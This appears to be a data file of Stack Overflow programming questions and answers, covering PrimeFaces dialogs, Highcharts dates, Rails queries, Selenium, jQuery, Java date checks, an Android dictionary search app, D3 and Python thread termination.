6042564	0	ConfirmationDialog Primefaces <p>..Now I come across a question.</p> <pre><code>&lt;tabview&gt; &lt;tab&gt;... &lt;/tab&gt; &lt;tab&gt;... &lt;/tab&gt; &lt;tab&gt;... &lt;/tab&gt; &lt;tab id="p"&gt; &lt;h:form id="qorm"&gt; &lt;h:panelGroup &gt; &lt;p:commandButton value="Save" actionListener="#{...}" update="priorityDataTable" /&gt; &lt;p:commandButton id="cancelButton" value="Cancel" onclick="confirmation.show()" type="button" /&gt; &lt;/h:panelGroup&gt; &lt;p:dataTable id="priorityDataTable" styleClass="priorityDataTable" selection="#{...selectedJobQueue}" rowSelectListener="#{...onRowSelect}" selectionMode="single" value="#{....priorityList}" var="priority" &gt; &lt;p:column&gt; &lt;f:facet name="header"&gt; Request&lt;br /&gt;Number &lt;/f:facet&gt; &lt;h:outputText value="#{priority.reworkRequest.requestNumber}" /&gt; &lt;/p:column&gt; &lt;p:column&gt; &lt;f:facet name="header"&gt; # &lt;/f:facet&gt; &lt;h:outputText value="#" /&gt; &lt;/p:column&gt; &lt;p:column&gt; &lt;f:facet name="header"&gt; Status &lt;/f:facet&gt; &lt;h:outputText value="#{priority.priorityStatus.getTextValue()}" /&gt; &lt;/p:column&gt; &lt;/p:dataTable&gt; &lt;h:panelGroup class="queuePriorityActionButton"&gt; &lt;p:commandButton id="moveUpButton" value="Move Up" actionListener="#{....moveUp()}" /&gt; &lt;p:commandButton id="moveDownButton" value="Move Down" actionListener="#{....moveDown()}" /&gt; &lt;/h:panelGroup&gt; &lt;/h:form&gt; &lt;h:form&gt; &lt;p:confirmDialog message="All updates since your last save will be lost. Are you sure you want to exit?" modal="true" header="Initiating destroy process" severity="alert" widgetVar="confirmation"&gt; &lt;p:commandButton value="Yes Sure" update="queuePriorityForm:priorityDataTable " oncomplete="confirmation.hide()" actionListener="{....resetBack()}" /&gt; &lt;p:commandButton value="Not Yet" onclick="confirmation.hide()" type="button" /&gt; &lt;/p:confirmDialog&gt; &lt;/h:form&gt; &lt;/tab&gt; &lt;/tabview&gt; </code></pre> <p>when user change the priority of the table, and the user moves a request(s) and then selects another tab without saving the request.Must display a confirmationDialog. So I don't know how to do it.AnyOne can help me</p>
22515737	0	 <p><a href="http://stackoverflow.com/questions/3207219/how-to-list-all-files-of-a-directory-in-python">This</a> will help you to list all the files in the directory. </p> <p>Then for each file, </p> <ol> <li>Iterate thru all the lines</li> <li>See if the current line starts with CONCLUSION:</li> <li>Do a substring on that line to get all the contents after the word CONCLUSION:</li> </ol>
6523827	0	 <p>If you want to draw directly on the form, there are many tutorials and examples:</p> <ul> <li><a href="http://msdn.microsoft.com/en-us/library/aa287594%28v=vs.71%29.aspx" rel="nofollow">Code: Drawing Graphics on a Windows Form (Visual C#)</a></li> <li><a href="http://www.techotopia.com/index.php/Drawing_Graphics_in_C_Sharp" rel="nofollow">Techtopia: Drawing Graphics in C Sharp</a></li> <li><a href="http://www.homeandlearn.co.uk/csharp/csharp_s15p1.html" rel="nofollow">Graphics in Visual C# .NET</a></li> <li><a href="http://www.codeguru.com/csharp/csharp/cs_graphics/customizinguserinterfaces/article.php/c6147" rel="nofollow">Codeguru: Getting Graphics to stay on a Form (C#)</a></li> </ul> <p>If you are just trying to set a form to use a particular image, you might consider placing a <code>PictureBox</code> and setting its .Image property to that of your generated graphic:</p> <pre><code>pictureBox1.Image = myBitmap; </code></pre> <p>There is also the form's <code>.BackgroundImage</code> property:</p> <pre><code>form1.BackgroundImage = myBitmap; </code></pre> <p>The white background with red cross means that the requested resource is unavailable or not in a recognized format.</p> <p>Do you need to generate a new graphic every time the form is redrawn? If so, then the <code>Paint</code> event is fine, but that may be why things are taking a long time; i.e. lots of redraws whenever the form is invalidated. If the map doesn't need to change then one of the above suggestions would probably be better.</p> <p>If redrawing the graphic is the intention, then it would be necessary to discuss how you are generating the graphic in order to diagnose the problem. Because of the red "X" problem you are having, it's possible the graphic is not in the correct format, so it may help to post some of that code for further assistance.</p>
38899314	0	Highcharts thinks all dates are 1970-01-01, despite them being valid epoch times <p>I'm working with this simple chart:</p> <p><a href="https://jsfiddle.net/w7uyghqn/2/" rel="nofollow">https://jsfiddle.net/w7uyghqn/2/</a></p> <p>My dates are in the format: <code>Date(1447793679000)</code>, which translates correctly to <code>Thu Aug 11 2016 10:26:59 GMT-0400 (EDT)</code>. </p> <pre><code>var seriesOptions = [ { "data":[ [Date(1447793679000), 7.8494623656], [Date(1450913358000), 5.4140127389], [Date(1460475392000), 6.015037594], [Date(1460648544000), 3.75], [Date(1460753244000), 2.1015761821], [Date(1460985174000), 3.0141843972], [Date(1460988174000), 5.2264808362], [Date(1461874589000), 1.5100671141] ], "name":"Product 1" }, { "data":[ [Date(1450729647000), 2.9850746269], [Date(1452184898000), 4.1666666667], [Date(1454616863000), 4.1749502982], [Date(1455206741000), 2.6717557252], [Date(1458062356000), 2.4], [Date(1459868909000), 3.8461538462], [Date(1459882015000), 3.3955857385], [Date(1459968893000), 4.1832669323], [Date(1460574864000), 4.973357016], [Date(1460665314000), 5.2032520325] ], "name":"Product 2" } ] </code></pre> <p>However, as you can see on the x-axis, this is all Jan 1st 1970. Can anyone spot what's wrong?</p> <p>I've tried so many different formats and I'm totally tearing my hair out. </p>
27392894	0	How to find data by dynamic conditions on Rails? <p>I am using Rails 3.2.13 now.</p> <p>I made this method:</p> <pre><code>def search search_conditions = [] search_conditions &lt;&lt; ["id = ?", params[:id]] if params[:id] != '' search_conditions &lt;&lt; ["name LIKE ?", "%#{params[:name]}%"] if params[:name] != '' @users = User.find(:all, :conditions =&gt; search_conditions) end </code></pre> <p>But the result was:</p> <pre><code>undefined method `%' for ["name LIKE ?", "%tes%"]:Array </code></pre> <p>Can't I set multiple conditions in a nice way?</p>
24897853	0	 <p>Check again <code>FieldError</code> constructor, according to JavaDocs, 3rd parameter is rejected field value:</p> <pre><code>rejectedValue - the rejected field value </code></pre> <p>The exact part of code which overrides value is in <code>AbstractBindingResult</code> class:</p> <pre><code>public Object getFieldValue(String field) { FieldError fieldError = getFieldError(field); // Use rejected value in case of error, current bean property value else. Object value = (fieldError != null ? fieldError.getRejectedValue() : getActualFieldValue(fixedField(field))); // Apply formatting, but not on binding failures like type mismatches. if (fieldError == null || !fieldError.isBindingFailure()) { value = formatFieldValue(field, value); } return value; } </code></pre> <p>So while you provide <code>FieldError</code> class with null <code>rejectedValue</code>, the form field is cleared. As or me, I've always used <code>rejectValue</code> instead of <code>addError</code>:</p> <pre><code>result.rejectValue( "field", "errorCode" ); </code></pre>
18483419	0	Selenium sendkeys drops character with Chrome Driver <p>Selenium sendkeys with Chrome Driver drops character "2" and "4". Other characters are OK. When I use other browser (IE or FF), everything is OK.</p> <p>code:</p> <pre><code>WebElement name = driver.findElement(localizator); name.clear(); name.sendKeys("1234567890 abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ"); </code></pre> <p>result: input box is filled with</p> <pre><code>13567890 abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ </code></pre> <p>Characters <code>2</code> and <code>4</code> are missing, other characters are filled correctly.</p> <p>I use Windows 7 64bit, Chrome version 29.0.1547.57 m, ChromeDriver win32 (v2.2.215849.dyu) - the newest one.</p>
18002992	0	 <p>You could try to put it in a document.ready call. And as Samuel Reid pointed out, a hover function is what you need. Like so:</p> <pre><code>$(document).ready(function () { $('.baixo-tudo').find('.botao').each(function (i) { var imge = $('img'); var t = $('.botao'), src1 = t.find('.src1').text(), src2 = t.find('.src2').text(); imge.hover(function () { t.attr('src', src1); }, function () { t.attr('src', src2); }); }); }); </code></pre> <p>EDIT, building on your fiddle.</p> <p>I am guessing <a href="http://jsfiddle.net/NnUe6/5/" rel="nofollow">this</a> is what you want?</p> <pre><code>$('.baixo-tudo').find('.botao').each(function (i) { var t = $(this), imge = t.children("img"), src1 = t.children('.src1').text(), src2 = t.children('.src2').text(); imge.mouseover(function () { imge.attr('src', src1); }); imge.mouseout(function () { imge.attr('src', src2); }); }); </code></pre> <p>And even <a href="http://jsfiddle.net/NnUe6/6/" rel="nofollow">shorter</a>.</p> <pre><code>$('.baixo-tudo').find('.botao').each(function (i) { var t = $(this), imge = t.children("img"), src1 = t.children('.src1').text(), src2 = t.children('.src2').text(); imge.hover(function () { imge.attr('src', src1); }, function () { imge.attr('src', src2); }); }); </code></pre>
485780	0	 <blockquote> <p>I have heard somewhere that a computer can have multiple IP addresses. I want the one that other programs on different computers can use to connect to the computer.</p> </blockquote> <p>Well... that could be any of them. If a computer has multiple IP addresses it can be accessed on any one of them. Of course one of them could be subject to different firewall rules or they could be on two completely different segments but there's no way to detect any and all of these circumstances.</p>
28884674	0	If statement checking if current date equals string date <p>trying to retrieve users from an ArrayList that string bookingdate equals the current date. my problem is I don't believe I am formatting my if statement correctly. the returned users will then be displayed on a datatable in a xhtml file.</p> <pre><code> public ArrayList&lt;User&gt; getDinner() throws ParseException { Date today = new Date(); DateFormat formatter; Date date; formatter = new SimpleDateFormat("dd/MM/yy"); date = formatter.parse(bookingdate); ArrayList&lt;User&gt; subset = new ArrayList&lt;User&gt;(); for (User user : userList) { if (((today.equals(date))) &amp;&amp; (1700 &lt; user.bookingtime)) { subset.add(user); } } return subset; } </code></pre> <p>above is where I am having the problem below is the rest of the file.</p> <pre><code>import java.text.DateFormat; import java.util.Calendar; import java.util.Date; import static com.sun.org.apache.xalan.internal.lib.ExsltDatetime.date; import static com.sun.org.apache.xalan.internal.lib.ExsltDatetime.date; import static com.sun.org.apache.xalan.internal.lib.ExsltDatetime.date; import java.io.Serializable; import java.sql.Time; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import javax.faces.bean.ManagedBean; import javax.faces.bean.SessionScoped; import javax.faces.event.ValueChangeEvent; @ManagedBean(name = "user") @SessionScoped public class UserData implements Serializable {private static final long serialVersionUID = 1L; private String name; private String last; private String email; private String phone; private String size; Integer bookingtime; String bookingdate; private String requirements; private String table; private String userName; public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getLast() { return last; } public void setLast(String last) { this.last = last; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public String getSize() { return size; } public void setSize(String size) { this.size = size; } public Integer getBookingtime() { return bookingtime; } public void setBookingtime(Integer bookingtime) { this.bookingtime = bookingtime; } public String getBookingdate() { return bookingdate; } public void setBookingdate(String bookingdate) { this.bookingdate = bookingdate; } public String getRequirements() { return requirements; } public void setRequirements(String requirements) { this.requirements = requirements; } public void settable(String table) { this.table = table; } public String gettable() { return table; } private static final ArrayList&lt;User&gt; userList = new ArrayList&lt;User&gt;(Arrays.asList( new User("Janet", "Harris", "Janet12@hotmail.co.uk", "07714662361", "3", 1910, "12/05/2015", "Flowers", null), new User("Amy", "Harris", "Amy1234@hotmail.co.uk", "07714662361", "4", 1930, "05/03/2015", "Vegan", null), new User("Louise", "Hardbattle", "LouiseHardbattlex@hotmail.co.uk", "01512242901", "6", 1600, "13/05/2015", "Friends birthday", null), new User("Mark", "Jenkins", "MarkJ2013@live.co.uk", "07866406591", "2", 1900, "13/05/2015", "N/A", null), new User("Peter", "Lunn", "Plunn@hotmail.com", "01514422398", "2", 1930, "13/05/2015", "First time here", null), new User("Lee", "Allen", "leeallen1212@hotmail.co.uk", "07861106591", "2", 1945, "13/05/2015", "N/A", null), new User("Jess", "Maloney", "Jess2015maloney@live.com", "07713980273", "5", 1300, "14/05/2015", "18th birthday party - please provide balloons", null), new User("Christian", "Riley", "Riley1980@hotmail.com", "01514442938", "4", 1400, "14/05/2015", "N/A", null), new User("Carl", "Lunt", "CarlL101@live.com", "07844408012", "2", 1430, "14/05/2015", "N/A", null), new User("Peter", "Moore", "PeterM@hotmail.com", "01512324289", "2", 1830, "14/05/2015", "Anniversary", null ))); public ArrayList&lt;User&gt; getCustomers() { return userList; } public ArrayList&lt;User&gt; getDinner() { DateFormat df = new SimpleDateFormat("dd/MM/yyyy"); ArrayList&lt;User&gt; subset = new ArrayList&lt;User&gt;(); for (User user : userList) { if (( user.bookingdate.equals(df) ) &amp;&amp;(1700 &lt; user.bookingtime)) { subset.add(user); } } return subset; } public ArrayList&lt;User&gt; getLunch() { ArrayList&lt;User&gt; subset = new ArrayList&lt;User&gt;(); for (User user : userList) { if (1700 &gt; user.bookingtime) { subset.add(user); } } return subset; } public ArrayList&lt;User&gt; getSearch() { ArrayList&lt;User&gt; subset = new ArrayList&lt;User&gt;(); for (User user : userList) { if (userName.equals(user.bookingdate) || user.bookingdate == null) { subset.add(user); } } return subset; } public String saveAction() { //get all existing value but set "editable" to false for (User user : userList) { user.setEditable(false); } //return to current page return null; } public String editAction(User user) { user.setEditable(true); return null; } public String deleteAction(User user) { userList.remove(user); return null; } public String addAction() { User user = new User(this.name, this.last, this.email, this.phone, this.size, this.bookingtime, this.bookingdate, this.requirements, null); userList.add(user); return null; } </code></pre>
16287000	0	 <p>I think the easiest way is to map the id to the name directly where you use it, as follows:</p> <pre><code>svg.selectAll("text") [...] .text( function(d) { return namesMap[d.name]; }); </code></pre> <p>assuming that <code>namesMap</code> converts <code>node_id</code> to <code>node_name</code>.</p> <p>Now you just have to create aforementioned <code>namesMap</code>, e.g. like this:</p> <pre><code>d3.csv("nodes.csv", function(names) { var namesMap = {}; names.forEach(function(d) { namesMap[d.node_id] = d.node_name; }); // code using namesMap goes here }); </code></pre> <p>A slighly modified code (with the csv data loading from <code>&lt;pre&gt;</code> nodes in HTML) is available in <a href="http://jsfiddle.net/v2UHg/1/" rel="nofollow">this fiddle</a>.</p>
10777770	0	How can I declare a global require in NodeJS? <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/5447771/node-js-global-variables">node.js global variables?</a> </p> </blockquote> <p>How can i include a file or a script in node js, that i can access it global. I would like to extend the standard Array Object with some functions, but i dont like to do this in app.js and wenn i declare it in a module, it is not possible to access it global.</p> <p>Is there a possibility with a other command to do this?</p>
27337715	0	how do I create search bar which will update search on typing <p>I created an application with the search on button click. How do I create search bar which will update search on typing letter? Something similar like in a google chrome. I was looking for an answer but I could not find it. Tnx a lot! </p> <p>SearchableDictionary.java </p> <pre><code>package com.bogdanskoric.searchdictionary; import android.app.Activity; import android.app.SearchManager; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.View; import android.widget.AdapterView; import android.widget.ListView; import android.widget.SearchView; import android.widget.SimpleCursorAdapter; import android.widget.TextView; import android.widget.AdapterView.OnItemClickListener; public class SearchableDictionary extends Activity { private TextView mTextView; private ListView mListView; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); mTextView = (TextView) findViewById(R.id.text); mListView = (ListView) findViewById(R.id.list); handleIntent(getIntent()); } @Override protected void onNewIntent(Intent intent) { handleIntent(intent); } private void handleIntent(Intent intent) { if (Intent.ACTION_VIEW.equals(intent.getAction())) { // handles a click on a search suggestion; launches activity to show word Intent wordIntent = new Intent(this, WordActivity.class); wordIntent.setData(intent.getData()); startActivity(wordIntent); } else if (Intent.ACTION_SEARCH.equals(intent.getAction())) { // handles a search query String query = intent.getStringExtra(SearchManager.QUERY); showResults(query); } } /** * Searches the dictionary and displays results for the given query. * @param query The search query */ private void showResults(String query) { Cursor cursor = managedQuery(DictionaryProvider.CONTENT_URI, null, null, new String[] {query}, null); if (cursor == null) { // There are no results mTextView.setText(getString(R.string.no_results, new Object[] {query})); } else { // Display the number of results int count = cursor.getCount(); String countString = getResources().getQuantityString(R.plurals.search_results, count, new Object[] {count, query}); mTextView.setText(countString); // Specify the columns we want to display in the result String[] from = new String[] { DictionaryDatabase.KEY_WORD, DictionaryDatabase.KEY_DEFINITION }; // Specify the corresponding layout elements where we want the columns to go int[] to = new int[] { R.id.word }; // Create a simple cursor adapter for the definitions and apply them to the ListView SimpleCursorAdapter words = new SimpleCursorAdapter(this, R.layout.result, cursor, from, to); mListView.setAdapter(words); // Define the on-click listener for the list items mListView.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { // Build the Intent used to open WordActivity with a specific word Uri Intent wordIntent = new Intent(getApplicationContext(), WordActivity.class); Uri data = Uri.withAppendedPath(DictionaryProvider.CONTENT_URI, String.valueOf(id)); wordIntent.setData(data); startActivity(wordIntent); finish(); } }); } } @Override public boolean onCreateOptionsMenu(Menu menu) { MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.searchable_dictionary, menu); if(Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.HONEYCOMB){ SearchManager searchManager = (SearchManager) getSystemService(Context.SEARCH_SERVICE); SearchView searchView = (SearchView) menu.findItem(R.id.search).getActionView(); searchView.setSearchableInfo(searchManager.getSearchableInfo(getComponentName())); searchView.setIconifiedByDefault(false); } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.search: onSearchRequested(); return true; default: return false; } } } </code></pre> <p>DictionaryDatabase.java</p> <pre><code>package com.bogdanskoric.searchdictionary; import android.app.SearchManager; import android.content.ContentValues; import android.content.Context; import android.content.res.Resources; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; import android.database.sqlite.SQLiteQueryBuilder; import android.provider.BaseColumns; import android.text.TextUtils; import android.util.Log; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.HashMap; public class DictionaryDatabase { private static final String TAG = "DictionaryDatabase"; //The columns we'll include in the dictionary table public static final String KEY_WORD = SearchManager.SUGGEST_COLUMN_TEXT_1; public static final String KEY_DEFINITION = SearchManager.SUGGEST_COLUMN_TEXT_2; private static final String DATABASE_NAME = "dictionary"; private static final String FTS_VIRTUAL_TABLE = "FTSdictionary"; private static final int DATABASE_VERSION = 2; private final DictionaryOpenHelper mDatabaseOpenHelper; private static final HashMap&lt;String,String&gt; mColumnMap = buildColumnMap(); public DictionaryDatabase(Context context) { mDatabaseOpenHelper = new DictionaryOpenHelper(context); } private static HashMap&lt;String,String&gt; buildColumnMap() { HashMap&lt;String,String&gt; map = new HashMap&lt;String,String&gt;(); map.put(KEY_WORD, KEY_WORD); map.put(KEY_DEFINITION, KEY_DEFINITION); map.put(BaseColumns._ID, "rowid AS " + BaseColumns._ID); map.put(SearchManager.SUGGEST_COLUMN_INTENT_DATA_ID, "rowid AS " + SearchManager.SUGGEST_COLUMN_INTENT_DATA_ID); map.put(SearchManager.SUGGEST_COLUMN_SHORTCUT_ID, "rowid AS " + SearchManager.SUGGEST_COLUMN_SHORTCUT_ID); return map; } public Cursor getWord(String rowId, String[] columns) { String selection = "rowid = ?"; String[] selectionArgs = new String[] {rowId}; return query(selection, selectionArgs, columns); } public Cursor getWordMatches(String query, String[] columns) { String selection = KEY_WORD + " MATCH ?"; String[] selectionArgs = new String[] {query+"*"}; return query(selection, selectionArgs, columns); } private Cursor query(String selection, String[] selectionArgs, String[] columns) { SQLiteQueryBuilder builder = new SQLiteQueryBuilder(); builder.setTables(FTS_VIRTUAL_TABLE); builder.setProjectionMap(mColumnMap); Cursor cursor = builder.query(mDatabaseOpenHelper.getReadableDatabase(), columns, selection, selectionArgs, null, null, null); if (cursor == null) { return null; } else if (!cursor.moveToFirst()) { cursor.close(); return null; } return cursor; } private static class DictionaryOpenHelper extends SQLiteOpenHelper { private final Context mHelperContext; private SQLiteDatabase mDatabase; private static final String FTS_TABLE_CREATE = "CREATE VIRTUAL TABLE " + FTS_VIRTUAL_TABLE + " USING fts3 (" + KEY_WORD + ", " + KEY_DEFINITION + ");"; DictionaryOpenHelper(Context context) { super(context, DATABASE_NAME, null, DATABASE_VERSION); mHelperContext = context; } @Override public void onCreate(SQLiteDatabase db) { mDatabase = db; mDatabase.execSQL(FTS_TABLE_CREATE); loadDictionary(); } /** * Starts a thread to load the database table with words */ private void loadDictionary() { new Thread(new Runnable() { public void run() { try { loadWords(); } catch (IOException e) { throw new RuntimeException(e); } } }).start(); } private void loadWords() throws IOException { Log.d(TAG, "Loading words..."); final Resources resources = mHelperContext.getResources(); InputStream inputStream = resources.openRawResource(R.raw.definitions); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); try { String line; while ((line = reader.readLine()) != null) { String[] strings = TextUtils.split(line, "-"); if (strings.length &lt; 2) continue; long id = addWord(strings[0].trim(), strings[1].trim()); if (id &lt; 0) { Log.e(TAG, "unable to add word: " + strings[0].trim()); } } } finally { reader.close(); } Log.d(TAG, "DONE loading words."); } public long addWord(String word, String definition) { ContentValues initialValues = new ContentValues(); initialValues.put(KEY_WORD, word); initialValues.put(KEY_DEFINITION, definition); return mDatabase.insert(FTS_VIRTUAL_TABLE, null, initialValues); } @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { Log.w(TAG, "Upgrading database from version " + oldVersion + " to " + newVersion + ", which will destroy all old data"); db.execSQL("DROP TABLE IF EXISTS " + FTS_VIRTUAL_TABLE); onCreate(db); } } } </code></pre> <p>DictionaryProvider.java</p> <pre><code>package com.bogdanskoric.searchdictionary; import android.app.SearchManager; import android.content.ContentProvider; import android.content.ContentResolver; import android.content.ContentValues; import android.content.UriMatcher; import android.database.Cursor; import android.net.Uri; import android.provider.BaseColumns; public class DictionaryProvider extends ContentProvider { String TAG = "DictionaryProvider"; public static String AUTHORITY = "com.bogdanskoric.searchdictionary.DictionaryProvider"; public static final Uri CONTENT_URI = Uri.parse("content://" + AUTHORITY + "/dictionary"); // MIME types used for searching words or looking up a single definition public static final String WORDS_MIME_TYPE = ContentResolver.CURSOR_DIR_BASE_TYPE + "/vnd.bogdanskoric.searchdictionary"; public static final String DEFINITION_MIME_TYPE = ContentResolver.CURSOR_ITEM_BASE_TYPE + "/vnd.bogdanskoric.searchdictionary"; private DictionaryDatabase mDictionary; // UriMatcher stuff private static final int SEARCH_WORDS = 0; private static final int GET_WORD = 1; private static final int SEARCH_SUGGEST = 2; private static final int REFRESH_SHORTCUT = 3; private static final UriMatcher sURIMatcher = buildUriMatcher(); /** * Builds up a UriMatcher for search suggestion and shortcut refresh queries. */ private static UriMatcher buildUriMatcher() { UriMatcher matcher = new UriMatcher(UriMatcher.NO_MATCH); // to get definitions... matcher.addURI(AUTHORITY, "dictionary", SEARCH_WORDS); matcher.addURI(AUTHORITY, "dictionary/#", GET_WORD); // to get suggestions... matcher.addURI(AUTHORITY, SearchManager.SUGGEST_URI_PATH_QUERY, SEARCH_SUGGEST); matcher.addURI(AUTHORITY, SearchManager.SUGGEST_URI_PATH_QUERY + "/*", SEARCH_SUGGEST); matcher.addURI(AUTHORITY, SearchManager.SUGGEST_URI_PATH_SHORTCUT, REFRESH_SHORTCUT); matcher.addURI(AUTHORITY, SearchManager.SUGGEST_URI_PATH_SHORTCUT + "/*", REFRESH_SHORTCUT); return matcher; } @Override public boolean onCreate() { mDictionary = new DictionaryDatabase(getContext()); return true; } @Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { // Use the UriMatcher to see what kind of query we have and format the db query accordingly switch (sURIMatcher.match(uri)) { case SEARCH_SUGGEST: if (selectionArgs == null) { throw new IllegalArgumentException( "selectionArgs must be provided for the Uri: " + uri); } return getSuggestions(selectionArgs[0]); case SEARCH_WORDS: if (selectionArgs == null) { throw new IllegalArgumentException( "selectionArgs must be provided for the Uri: " + uri); } return search(selectionArgs[0]); case GET_WORD: return getWord(uri); case REFRESH_SHORTCUT: return refreshShortcut(uri); default: throw new IllegalArgumentException("Unknown Uri: " + uri); } } private Cursor getSuggestions(String query) { query = query.toLowerCase(); String[] columns = new String[] { BaseColumns._ID, DictionaryDatabase.KEY_WORD, DictionaryDatabase.KEY_DEFINITION, /* SearchManager.SUGGEST_COLUMN_SHORTCUT_ID, (only if you want to refresh shortcuts) */ SearchManager.SUGGEST_COLUMN_INTENT_DATA_ID}; return mDictionary.getWordMatches(query, columns); } private Cursor search(String query) { query = query.toLowerCase(); String[] columns = new String[] { BaseColumns._ID, DictionaryDatabase.KEY_WORD, DictionaryDatabase.KEY_DEFINITION}; return mDictionary.getWordMatches(query, columns); } private Cursor getWord(Uri uri) { String rowId = uri.getLastPathSegment(); String[] columns = new String[] { DictionaryDatabase.KEY_WORD, DictionaryDatabase.KEY_DEFINITION}; return mDictionary.getWord(rowId, columns); } private Cursor refreshShortcut(Uri uri) { String rowId = uri.getLastPathSegment(); String[] columns = new String[] { BaseColumns._ID, DictionaryDatabase.KEY_WORD, DictionaryDatabase.KEY_DEFINITION, SearchManager.SUGGEST_COLUMN_SHORTCUT_ID, SearchManager.SUGGEST_COLUMN_INTENT_DATA_ID}; return mDictionary.getWord(rowId, columns); } @Override public String getType(Uri uri) { switch (sURIMatcher.match(uri)) { case SEARCH_WORDS: return WORDS_MIME_TYPE; case GET_WORD: return DEFINITION_MIME_TYPE; case SEARCH_SUGGEST: return SearchManager.SUGGEST_MIME_TYPE; case REFRESH_SHORTCUT: return SearchManager.SHORTCUT_MIME_TYPE; default: throw new IllegalArgumentException("Unknown URL " + uri); } } @Override public Uri insert(Uri uri, ContentValues values) { throw new UnsupportedOperationException(); } @Override public int delete(Uri uri, String selection, String[] selectionArgs) { throw new UnsupportedOperationException(); } @Override public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) { throw new UnsupportedOperationException(); } } </code></pre> <p>searchable.xml</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;searchable xmlns:android ="http://schemas.android.com/apk/res/android" android:label="@string/search_label" android:hint ="@string/search_hint" android:searchSuggestAuthority="searchdictionary.DictionaryProvider" android:searchSuggestIntentAction="android.intent.action.VIEW" android:searchSuggestIntentData="content://searchdictionary.DictionaryProvider/dictionary" android:searchSuggestSelection=" ?" android:searchSuggestThreshold="1" android:includeInGlobalSearch="true" android:searchSettingsDescription="@string/settings_description" &gt; &lt;/searchable&gt; </code></pre> <p>raw/definition.txt</p> <pre><code>Adikcija - Podložnost nekoj štetnoj navici, najcešce, psihofiziološka zavisnost od droge ili alkohola (toksikomanija, alkoholizam). Adolescencija - Period prelaska iz detinjstva u zrelo doba obeležen biološkim rastom, seksualnim.. etc. </code></pre>
19404880	0	 <p>You can't parameteterize table name with PDO and MySQLi prepared statements, because SQL server needs basic information to prepare the query before executing actual query. </p>
34741206	0	 <p>Ok, I finally used a piece of code that uses ctypes lib to provide some kind of killing thread function. I know this is not a clean way to proceed but in my case, there are no resources shared by the threads so it shouldn't have any impact ...</p> <p>If it can help, here is the piece of code that can easily be found on the net:</p> <pre><code>def terminate_thread(thread): """Terminates a python thread from another thread. :param thread: a threading.Thread instance """ if not thread.isAlive(): return exc = ctypes.py_object(SystemExit) res = ctypes.pythonapi.PyThreadState_SetAsyncExc( ctypes.c_long(thread.ident), exc) if res == 0: raise ValueError("nonexistent thread id") elif res &gt; 1: # """if it returns a number greater than one, you're in trouble, # and you should call it again with exc=NULL to revert the effect""" ctypes.pythonapi.PyThreadState_SetAsyncExc(thread.ident, None) raise SystemError("PyThreadState_SetAsyncExc failed") </code></pre>
4825949	0	 <p>Set the PuTTY charset to UTF-8 in the options.</p>
13789208	0	 <p>Try this, this should work if any of the fields are empty.</p> <pre><code>if (temprature == 0 || methane == 0 || ethane == 0 || propane == 0 || nbutane == 0 || ibutane == 0 || oxygen == 0 || npetane == 0 || ipetane == 0 || nhexane == 0 || nitrogen == 0) { outputText.text = @"Please enter all values"; } else { outputText.text = resultString; } </code></pre>
35160883	0	Vagrant is not picking up laravel/homestead box <p>I've downloaded the homestead box manually because of much slow downloading via terminal. But after adding the box, vagrant is not finding it and attempting to download again.</p> <p><a href="https://i.stack.imgur.com/73jRU.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/73jRU.jpg" alt="Vagrant find error"></a></p>
20370985	0	 <p>As a starting point, use <code>int</code> which is probably native to the architecture and you'll avoid possible implicit conversions when comparing <code>i</code> with other bits and pieces. So my bet is that both <code>byte</code> and <code>short</code> will wind up being <em>slower</em>.</p> <p>A far cuter optimisation would be to use <code>++i</code> rather than <code>i++</code>, as the former will never be slower than the latter. (Conceptually <code>i++</code> has to return a copy even though it will be optimised out by a good java compiler).</p>
1887979	0	 <p>In Python, you can use """ (triple-quoted strings) to embed long runs of text data in your program.</p> <p>In your case, however, don't waste time on this.</p> <p>If you have an object you've pickled, you'd be much, much happier dumping that object as Python source and simply including the source.</p> <p>The <code>repr</code> function, applied to most objects, will emit a Python source-code version of the object. If you implement <code>__repr__</code> for all of your custom classes, you can trivially dump your structure as Python source.</p> <p>If, on the other hand, your pickled structure started out as Python code, just leave it as Python code. </p>
9278626	0	 <p>Why Can't you do some thing like below, Just fetch the user inside the closure.</p> <pre><code>Login.withNewSession { def user = grails.admin.User.read(appCtx.springSecurityService.currentUser.id) login = new Login(user: user) } </code></pre> <p>OR </p> <pre><code>Login.withTransaction{ def user = grails.admin.User.read(appCtx.springSecurityService.currentUser.id) login = new Login(user: user) } </code></pre>
